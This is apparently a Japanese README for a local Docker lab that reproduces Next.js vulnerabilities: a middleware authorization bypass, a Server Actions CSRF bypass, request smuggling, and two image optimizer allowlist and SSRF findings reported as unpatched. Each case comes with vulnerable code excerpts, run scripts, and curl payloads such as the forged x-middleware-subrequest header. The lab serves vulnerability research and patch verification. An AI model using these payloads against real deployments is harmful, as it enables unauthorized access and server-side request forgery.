| CVE | アドバイザリ | 影響 | 脆弱なバージョン | 修正済みバージョン |
|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | アクセス制御がミドルウェアのみに依存する場合の認可バイパス | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | Server ActionsのCSRFチェックをバイパスするOrigin: null | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | 外部バックエンドへのリライトを介したHTTPリクエストスマグリング | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | ローカルソース監査による発見 | リダイレクトを介したイメージオプティマイザーのリモート許可リストバイパス | 16.2.4 | 未確認 |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | ローカルソース監査による発見 | 外部リライトを介してイメージオプティマイザーのローカルURLがプライベートアップストリームに到達可能 | 16.2.4 | 未確認 |
以下のハッシュは、上流の vercel/next.js から取得したものです。
| CVE | 脆弱なリリースコミット | 修正済みリリースコミット | 関連パッチコミット |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose が利用可能であることを確認します。docker compose up --build
公開されるポート:
3001 -> CVE-2025-29927 脆弱版3002 -> CVE-2025-29927 修正版3003 -> CVE-2026-27978 脆弱版3004 -> CVE-2026-27978 修正版3005 -> CVE-2026-29057 脆弱版3006 -> CVE-2026-29057 修正版3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITEこのPoCでは、/dashboard はミドルウェアのみで保護されています:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
認可チェック自体は誤りではありません。問題は、ミドルウェアの実行をスキップできないという前提にルートが完全に依存していることです。
影響を受けるNext.jsバージョンでは、外部リクエストが内部ヘッダー x-middleware-subrequest を依然として供給でき、ランタイムはその値を信頼されたミドルウェアメタデータとして扱っていました。関連する脆弱なロジックは以下のとおりです:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest はそこでフィルタリングされていなかったため、攻撃者が制御する入力がミドルウェアランタイムに到達する可能性がありました。その値はその後、再帰の深さを導出するために使用されていました:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
攻撃者が middleware:middleware:middleware:middleware:middleware を送信すると、ランタイムは再帰の深さにすでに達したと判断し、アプリケーションのミドルウェアを実行せずにリクエストを転送する可能性があります。
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
期待される動作:
3001 はエクスプロイトヘッダーなしではリダイレクトを返しますが、x-middleware-subrequest を付けると 200 OK を返します。3002 は、内部ヘッダーが外部入力から信頼されなくなったため、/login へのリダイレクトを続けます。このPoCは、サーバー側の状態を変更する通常のServer Actionを公開しています:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
問題は transferFunds() 自体にはありません。脆弱な動作は、Server Actionsに対するNext.jsのCSRF検証にありました。影響を受けるバージョンでは、Origin: null は明示的な不透明オリジンではなく、オリジン欠落として扱われていました:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
'null' が undefined になるため、サンドボックス化されたiframeなどの不透明オリジンからのリクエストは、ホスト/オリジン比較パスを回避し、被害者のCookieが添付されたまま処理される可能性がありました。
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
期待される動作:
Origin: null で送信しますこのPoCは、/rewrites/:path* を外部バックエンドにリライトします:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
脆弱な動作は、Next.jsがリライトに使用するベンダリングされた http-proxy 依存関係にありました。影響を受けるバージョンでは、DELETE および OPTIONS リクエストのプロキシロジックが content-length: 0 を追加し、transfer-encoding を削除する可能性がありました:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
これにより、細工されたチャンク化リクエストが転送された際に、プロキシチェーンとバックエンドの間でリクエスト境界の不一致が生じました。その結果、同じ接続上で2番目のリクエストをバックエンドにスマグリングできる可能性がありました。
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
期待される動作:
GET /secret を含む生のチャンク化 DELETE /rewrites/poc リクエストを送信しますDELETE /rewrites/poc と GET /secret の両方を記録します観測された出力例:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
ローカルの next.js-16.2.4 ソースは、ImageOptimizerCache.validateParams() 内で、元の url パラメータに対してのみ images.remotePatterns を検証します:
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
その後、ネットワークフェッチパスは fetchExternalImage() 内でリダイレクトを再帰的に追跡します:
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
この再帰呼び出しはプライベートIPチェックを維持しますが、domains / remotePatterns を受け取ったり再適用したりしません。したがって、設定された許可画像オリジンは、元の画像許可リストを通過しない別のパブリックオリジンにオプティマイザーをリダイレクトさせることができます。
PoCはlocalhostサービスを使用し、dangerouslyAllowLocalIP: true を設定しています。これは、外部インフラストラクチャなしで許可リストの動作を再現するためだけです。設定された画像許可リストは http://127.0.0.1:4100/allowed/** のみを許可します。そのサーバーは http://127.0.0.1:4200/blocked/private.png にリダイレクトし、2番目のサーバーは到達したかどうかを記録します。
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
期待される動作:
4100 の元の許可URLを受け入れますimages.remotePatterns の範囲外にあるポート 4200 のURLにリダイレクトします4200 のアップストリームが GET /blocked/private.png を記録しますcurl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
Server Actionフィールドはサーバーによって動的に生成されるため、提供されているスクリプトを使用してください。
エクスプロイトはスマグリングされた2番目のリクエストを含む生のTCPペイロードに依存しているため、提供されているスクリプトを使用してください。
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
ローカル画像URLの場合、ImageOptimizerCache.validateParams() は images.localPatterns に対してローカルパス名のみを検証します:
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
その後、内部フェッチパスはNext.jsのリクエストハンドラーに再入します:
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
一致したローカルルートが外部リライトとして設定されている場合、リクエストはその外部宛先にプロキシされる可能性があります。このパスは fetchExternalImage() を呼び出さないため、絶対画像URLに使用されるプライベートIP保護はリライトされた宛先には適用されません。
PoCの設定は /allowed/** 配下のローカル画像URLのみを許可し、そのパスを http://127.0.0.1:4300/private/:path* にリライトします:
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
期待される動作:
images.localPatterns に一致するため /allowed/secret.png を受け入れますhttp://127.0.0.1:4300/private/secret.png への外部リライトを適用しますGET /private/secret.png を記録しますcurl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state